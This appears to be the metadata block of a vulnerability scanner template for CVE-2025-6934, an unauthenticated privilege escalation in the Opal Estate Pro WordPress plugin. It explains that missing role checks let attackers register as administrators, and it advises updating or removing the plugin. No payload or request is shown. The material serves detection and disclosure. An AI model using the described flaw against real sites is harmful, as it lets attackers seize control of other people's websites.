id: CVE-2025-6934

info:
  name: The Opal Estate Pro – Property Management <= 1.7.5 - Unauthenticated Privilege Escalation
  author: pussycat0x
  severity: critical
  description: |
    The Opal Estate Pro plugin (≤ 1.7.5) is vulnerable to privilege escalation. Due to missing role restrictions in the on_register_user function, users can register with any role. This allows unauthenticated attackers to create administrator accounts.
  impact: |
    An attacker can exploit this vulnerability to register with administrator privileges, gaining complete control over the WordPress site.
  remediation: |
    Update the Opal Estate Pro plugin to a version newer than 1.7.5 when available, or remove the plugin if not essential.
